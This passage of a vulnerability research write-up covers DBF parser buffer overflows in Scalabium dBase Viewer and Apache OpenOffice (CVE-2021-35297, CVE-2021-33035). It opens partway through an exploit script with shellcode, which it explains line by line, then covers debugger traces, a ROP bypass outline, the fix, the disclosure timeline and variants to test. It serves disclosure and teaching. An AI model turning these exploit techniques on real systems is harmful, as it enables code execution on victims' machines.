payload += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
payload += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
payload += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
payload += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
payload += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
payload += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
payload += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
payload += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
payload += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
payload += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
payload += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
payload += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
payload += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
payload += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
payload += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
payload += b"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"
with open('payload.dbf', 'wb') as w:
w.write(payload)
Line by line:
from struct import packimports a Python helper that turns numbers into raw bytes in a chosen byte order.egghunter = b"..."stores the egghunter as a sequence of bytes. Thebprefix means "bytes", not text.payload = b'\x03'starts the file with the dBase version byte.payload += b'\x01\x01\x01'appends three bytes for the last update date.payload += pack('<i', 1)appends a 4-byte integer, little-endian (<), with value 1.payload += pack('<h', 65)appends a 2-byte integer with value 65. The comment repeats "number of records", which is how the original script is written.payload += pack('<h', 4095)appends a 2-byte integer with value 4095, the declared length of each record.payload += 20 * b'\x00'appends 20 zero bytes for reserved space.payload += pack('11s', b'EXPLOIT')writes an 11-byte field name, padded to 11 characters.payload += b'2'sets the field type to2, the short integer type that triggers the overflow.payload += 4 * b'\x00'writes four zero bytes for the field's data address, which can be null.payload += pack('B', 255)writes one byte with value 255 as the field size. This is the attacker-controlledfieldLengththat overflows the 2-byte destination.payload += 15 * b'\x00'writes 15 reserved zero bytes.payload += b'\x0D'writes the terminator byte that ends the field definition.payload += b'\x20'starts the record with the deleted flag byte.payload += 28 * b'\x90'writes 28 bytes of0x90, the processor instruction for "do nothing", as padding.- The commented-out line
# payload += 4 * b'\x41'is an alternative padding the author tried. payload += pack("<L", (0x909006eb))writes a 4-byte value that the processor reads as a short jump forward by 6 bytes, skipping the next pointer.payload += pack("<L", (0x00457886))writes the address of a small sequence of instructions inside dbfview (pop edi; pop esi; ret) to use as the exception handler.popremoves a value from the stack, andretreturns to the address now on top of the stack, which lets the attacker redirect execution.payload += egghunterappends the egghunter code.payload += b'w00tw00t'appends the egg, the marker the egghunter searches for.- The block of
payload += b"..."lines appends the msfvenom payload, which runscalc. with open('payload.dbf', 'wb') as w:opens a file for writing in binary mode.w.write(payload)writes all the bytes to it.
Opening the generated file in dbfview.exe popped the calculator. That is code execution: the file, not the user, decided what the program did.
Step 3: Moving to Apache OpenOffice
The small viewer proved the template worked. The next target was bigger: Apache OpenOffice, a free office suite that also opens .dbf files. Because its source code is public, the researcher could read the parsing code directly instead of guessing from crashes.
The lesson from the first stage was the general weakness: the size of a record's buffer can be decided either by fieldLength or by fieldType in the header. If a programmer trusts one of them when reserving memory but uses the other to decide how many bytes to copy, a buffer overflow follows. Reading OpenOffice's DBF parsing code in DTable.cxx found exactly that:
else if ( DataType::INTEGER == nType )
{
sal_Int32 nValue = 0;
memcpy(&nValue, pData, nLen);
*(_rRow->get())[i] = nValue;
}
Line by line:
else if ( DataType::INTEGER == nType )checks whether the current field is of type integer.{opens the block.sal_Int32 nValue = 0;creates a variable callednValueof typesal_Int32, which is 4 bytes, and sets it to zero. This is the destination buffer.memcpy(&nValue, pData, nLen);copiesnLenbytes frompDataintonValue.memcpyis a standard function that copies a given number of bytes and does no bounds checking.nLencomes from the file, so an attacker controls it.*(_rRow->get())[i] = nValue;stores the value into the current row of the parsed table.}closes the block.
The destination is 4 bytes, but the copy length is whatever the file says. There is no check that nLen is at most 4. The same pattern appeared for several other data types.
Step 4: First crash in OpenOffice Calc
The previous payload generator was changed to use the integer field type (I) and a fieldLength larger than 4 bytes, and the file was opened in OpenOffice Calc, the spreadsheet part of the suite. It crashed.
The first crash was an SEH overwrite, but this time the handler chain would not run. The soffice binary had Safe Exception Handlers (SAFESEH), address space layout randomisation (ASLR) and Data Execution Prevention (DEP) turned on. In plain terms:
- SAFESEH checks that an exception handler is on a list of legitimate ones before calling it, so a fake handler is rejected.
- ASLR loads programs and libraries at random addresses each time, so an attacker cannot hard-code an address to jump to.
- DEP marks areas of memory as either code or data, and refuses to run data as code, so shellcode placed on the stack will not execute.
Together these blocked the simple route that worked against dbfview.
Step 5: Finding the validation check
Tracing back from the first exception showed it was not the overflow itself but a check earlier in the code:
0:000> p
eax=08ceacec ebx=0ffe68e8 ecx=08ceacf0 edx=00000001 esi=0ff38d60 edi=084299b9
eip=08c56920 esp=0178dd58 ebp=0178de74 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
dbase+0x16920:
08c56920 e862c6feff call dbase+0x2f87 (08c42f87)
0:000> u dbase+0x2f87 L12
dbase+0x2f87:
08c42f87 55 push ebp
08c42f88 8bec mov ebp,esp
08c42f8a 56 push esi
08c42f8b 8bf1 mov esi,ecx
08c42f8d 8b4610 mov eax,dword ptr [esi+10h]
08c42f90 2b460c sub eax,dword ptr [esi+0Ch]
08c42f93 57 push edi
08c42f94 8b7d08 mov edi,dword ptr [ebp+8]
08c42f97 c1f802 sar eax,2
08c42f9a 3bf8 cmp edi,eax
08c42f9c 7206 jb dbase+0x2fa4 (08c42fa4)
08c42f9e ff1588b0c608 call dword ptr [dbase!GetVersionInfo+0x9176 (08c6b088)]
08c42fa4 8b460c mov eax,dword ptr [esi+0Ch]
08c42fa7 8d04b8 lea eax,[eax+edi*4]
08c42faa 5f pop edi
08c42fab 5e pop esi
08c42fac 5d pop ebp
08c42fad c20400 ret 4
Line by line:
0:000> ptells WinDBG to step one instruction at a time.- The register lines show the processor state at that moment.
dbase+0x16920:is the current location, inside a module calleddbase.08c56920 e862c6feff call dbase+0x2f87 (08c42f87)calls a function at08c42f87.0:000> u dbase+0x2f87 L12asks WinDBG to disassemble, that is, show as instructions, 12 lines starting at that address.push ebp,mov ebp,esp,push esiset up a standard function frame, saving the previous state.mov esi,ecxcopies a value intoesi.mov eax,dword ptr [esi+10h]loads a 4-byte value from memory atesiplus0x10.sub eax,dword ptr [esi+0Ch]subtracts the value atesiplus0x0Cfrom it.push edisavesedi.mov edi,dword ptr [ebp+8]loads the function's first argument intoedi.sar eax,2shiftseaxright by two bits, which is the same as dividing by 4.cmp edi,eaxcompares the argument with that result.jb dbase+0x2fa4 (08c42fa4)jumps past the next instruction if the argument is below the result.call dword ptr [dbase!GetVersionInfo+0x9176 (08c6b088)]calls an error routine when the check fails.mov eax,dword ptr [esi+0Ch],lea eax,[eax+edi*4]compute an address from the argument.pop edi,pop esi,pop ebprestore the saved registers.ret 4returns to the caller and removes 4 bytes of arguments from the stack.
The exception was triggered if the cmp edi,eax check failed. Dynamic analysis, watching the program run and noting which part of the payload was being compared, found the offset being evaluated. Setting that offset to 00000001 passed the check. A different exception then appeared: an invalid instruction exception. That is a good sign, because it means a return address on the stack had been overwritten and the attacker could steer execution again. WinDBG confirmed it.
Step 6: Finding a module without protections
A DEP and ASLR bypass was still needed to start a return-oriented programming chain. Return-oriented programming, or ROP, is a technique where the attacker does not write new code but chains together small existing snippets of instructions, called gadgets, that already sit in the program's memory. Each gadget ends in a ret, which hands control to the next address on the stack, so a list of addresses becomes a program.
narly was run against the loaded modules:
0:011> !nmod
00110000 00b9c000 soffice /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\soffice.bin
03e20000 04b67000 icudt40 NO_SEH C:\Program Files\OpenOffice 4\program\icudt40.dll
4de60000 4df58000 libxml2 /SafeSEH ON /GS C:\Program Files\OpenOffice 4\program\libxml2.dll
50040000 50097000 scui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\scui.DLL
500a0000 502d3000 sb /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\sb.dll
50360000 50395000 forui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\forui.dll
503a0000 503e1000 uui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\uui.dll
50470000 504bf000 ucpfile1 /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\ucpfile1.dll
504c0000 5053a000 configmgr_uno /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\configmgr.uno.dll
Line by line:
0:011> !nmodlists the loaded modules.- Each row shows the start and end address, the module name, its protections, and its path on disk.
/SafeSEH ONmeans the module uses SafeSEH./GSmeans the module uses stack cookies, a hidden value placed next to return addresses so that overwriting them is detected.*ASLRmeans the module is loaded at a random address each run.*DEPmeans the module's memory is marked non-executable where appropriate.NO_SEHonicudt40means it has no exception handling at all.
Among the modules, libxml2 was compiled without DEP or ASLR. That makes it a source of gadgets at predictable addresses, which is exactly what a ROP chain needs. All gadgets were dumped with 0vercl0k's rp tool.
Step 7: Fitting the chain into the buffer
A problem appeared: whatever value fieldLength was set to, the overwritten buffer seemed to be limited to about 256 bytes. That ruled out the traditional chain of calling GetModuleHandleA to find a library, GetProcAddress to find a function inside it, and VirtualProtect to make memory executable. Three optimisations were applied:
- The final
VirtualProtectskeleton was moved before the ROP chain in the buffer, freeing room for gadgets. - The stack pivot used a hard-coded
add esp, 0x0C ; ret ;gadget. A stack pivot is a gadget that moves the stack pointer to a place the attacker controls, so the chain can start. Hard-coding it meant the offset did not have to be built dynamically in the chain. - For the proof of concept,
WinExecwas loaded directly to popcalc, which reduced the number of function calls needed.
With these changes the proof of concept worked, in software that was downloaded more than 300 million times.
Step 8: Why static analysis missed it
The researcher checked OpenOffice's page on https://lgtm.com/, a code analysis platform that runs CodeQL tests on open-source projects. Static analysis means examining source code without running it, looking for patterns that are usually mistakes. The expectation was that the unsafe memcpy would have been flagged.

OpenOffice was tagged as a Python and JavaScript project. CodeQL builds a database of the relevant source code before scanning, so if OpenOffice's C++ code was left out while building that database, CodeQL would never have seen these vulnerabilities. Browsing the files on LGTM showed no C++ files included. The lesson is to sanity-check automated static analysis tools: if the tool does not know the code exists, it cannot find bugs in it.
The root cause
The defect is a mismatch between two values that both come from the file. The size of the destination buffer is derived from the field type (fieldType), while the number of bytes copied is derived from the field length (fieldLength). In the OpenOffice code, nValue is a 4-byte sal_Int32, but memcpy copies nLen bytes with no check that nLen is at most 4. The same pattern appeared for several data types. In the smaller dBase viewer, the destination was a 2-byte short integer and a 36-byte controlled buffer was copied into it, overwriting the SEH chain.
On the OpenOffice side, the binary's own defences (SAFESEH, ASLR and DEP on soffice.bin) blocked the simple SEH route, and exploitation depended on a loaded module, libxml2, that lacked DEP and ASLR. The roughly 256-byte limit also constrained the chain. Static analysis did not catch the bug because the project was indexed as Python and JavaScript, with no C++ files in the CodeQL database.
Impact
Opening a crafted .dbf file led to code execution in the applications tested. In the small dBase viewer the proof of concept popped calc; in Apache OpenOffice the proof of concept also achieved code execution. The OpenOffice vulnerability is CVE-2021-33035; the Scalabium dBase Viewer vulnerability is CVE-2021-35297. OpenOffice was downloaded more than 300 million times. Exploiting the OpenOffice case required a module without DEP and ASLR (libxml2) and a chain that fits in roughly 256 bytes.
The fix
Apache released new packages that patched the vulnerability and updated the source code on GitHub to check buffer sizes. For the integer type, the code now ensures that nLen equals 4:
else if ( DataType::INTEGER == nType )
{
OSL_ENSURE(nLen == 4, "Invalid length for integer field");
if (nLen != 4) {
return false;
}
sal_Int32 nValue = 0;
memcpy(&nValue, pData, nLen);
*(_rRow->get())[i] = nValue;
}
Line by line:
else if ( DataType::INTEGER == nType )checks whether the field is an integer.OSL_ENSURE(nLen == 4, "Invalid length for integer field");records a warning in debug builds if the length is not 4.if (nLen != 4) {checks the length in release builds too.return false;refuses to parse the field when the length is wrong.}closes the check.- The rest is the same as before: a 4-byte destination, the copy, and storing the value.
Scalabium dBase Viewer was run by a single developer and could be resolved almost immediately.
Disclosure timeline
The researcher notes a culture shock compared with web bug bounties. Web services can usually deploy a patch in days or weeks, but native applications, especially widely used ones, can take months. Some vendors had no dedicated security disclosure contact, or listed an email address that was no longer active.
Scalabium dBase Viewer (CVE-2021-35297):
- Jun 7: Initial disclosure
- Jun 9: Acknowledgement and patch
- Aug 17: CVE assigned
Apache OpenOffice (CVE-2021-33035):
- 4 May: Initial disclosure
- 5 May: Acknowledgement
- 6 May: Request for disclosure/patch timeline
- 12 May: 2nd request for disclosure/patch timeline
- 19 May: 3rd request for disclosure/patch timeline
- 21 May: Apache request for 30 Aug disclosure date and patch verification; CVE assigned
- 21 May: Verified patch and agreed to 30 Aug disclosure date
- 22 Jul: Request to re-confirm 30 Aug disclosure date
- 26 Jul: Apache re-confirmed 30 Aug disclosure date
- 28 Aug: Notify about 18 Sep full disclosure
- 18 Sep: Full disclosure
Variants to test
The general pattern to look for is a parser that takes the destination buffer size from one header field and the copy length from another. Concrete things to try on other targets:
- Other DBF field types. The OpenOffice pattern appeared across data types, so try each type code (
C,D,l,I, and the FlagShip2,4,8) with afieldLengthlarger than the type's natural size. A positive result is a crash whose faulting instruction is inside the parser's copy routine, with the destination buffer smaller than the copied length. - Mismatched record and field lengths. Set the header's record length and the field's
fieldLengthto inconsistent values and watch for overflows in record assembly. A positive result is a crash that disappears when the two values are made consistent. - Field type values outside the documented set. The
2type came from the FlagShip extension and was undocumented in the main specification; try other extension type codes against parsers that claim support for the format. A positive result is a crash in a code path that the main documentation does not describe. - Other legacy formats with typed fields. Apply the same template approach to formats where a type byte determines allocation and a length field determines the copy. A positive result is a minimal file of a few dozen bytes that reproduces an exploitable crash.
- Check static analysis coverage. For open-source targets, confirm that the language of the vulnerable code is actually indexed by the analysis platform before trusting a clean result. A positive result is a project page that lists only unrelated languages, as happened with OpenOffice being tagged Python and JavaScript.
- Check module protections before assuming exploitability. Run
!nmodon a crash and look for loaded modules without ASLR or DEP, as withlibxml2here. A positive result is a gadget source at a predictable address that lets a short chain bypass the main binary's protections.
Glossary
- ASLR (address space layout randomisation): a protection that loads programs and libraries at random addresses each run, so an attacker cannot rely on fixed addresses.
- Buffer overflow: a bug where a program writes more data into a memory area than it can hold, spilling into neighbouring memory.
- CodeQL: a static analysis engine that builds a database of source code and runs queries against it to find bugs.
- Corpus: the collection of sample input files a fuzzer starts from.
- CVE: a public identifier for a known vulnerability, such as CVE-2021-33035.
- DEP (Data Execution Prevention): a protection that marks memory as either code or data and refuses to run data as code.
- Dumb fuzzer: a fuzzer that mutates inputs from a template without watching the target's internal execution.
- Egghunter: a small piece of code that searches memory for a marker and jumps to the payload that follows it.
- Exception handler: code a program registers to deal with errors; on Windows the list of handlers is kept on the stack.
- Exploit: code or input that turns a bug into a concrete effect, such as running a program.
- Fuzzer: a tool that generates many malformed inputs and watches for crashes.
- Gadget: a short sequence of existing instructions ending in a return, used to build a ROP chain.
- Header: the first part of a file that describes its structure, such as record counts and field types.
- Hex editor: a tool that shows and edits a file as raw bytes.
- LGTM: a code analysis platform that runs CodeQL tests on open-source projects.
- Little-endian: a byte order where the least significant byte comes first.
- Memory corruption: damage to a program's memory caused by writing outside the intended area, often leading to crashes or code execution.
- msfvenom: a tool that generates ready-made payloads, such as one that runs a program.
- narly: a WinDBG extension that lists loaded modules and their protections.
- Peach Fuzzer: an open-source fuzzer that mutates inputs based on a template called a Pit.
- Pit: a Peach Fuzzer template describing the structure of the input format.
- Register: a small storage slot inside the processor, such as
eaxoreip. - ROP (return-oriented programming): building a program from existing instruction snippets that each end in a return.
- SAFESEH: a Windows protection that checks exception handlers against a list of legitimate ones before calling them.
- SEH (structured exception handler): Windows' mechanism for handling errors, whose list of handlers sits on the stack.
- Shellcode: the small piece of code an attacker wants the target to run.
- Stack: the area of memory where a program keeps temporary values and return addresses.
- Stack pivot: a gadget that moves the stack pointer to memory the attacker controls so a ROP chain can start.
- Static analysis: examining source code without running it, looking for suspicious patterns.
- Triage: sorting crashes by how serious and exploitable they are.
- WinDBG: Microsoft's debugger for inspecting running programs and their memory.
!exploitable: a WinDBG script that estimates whether a crash can be turned into code execution.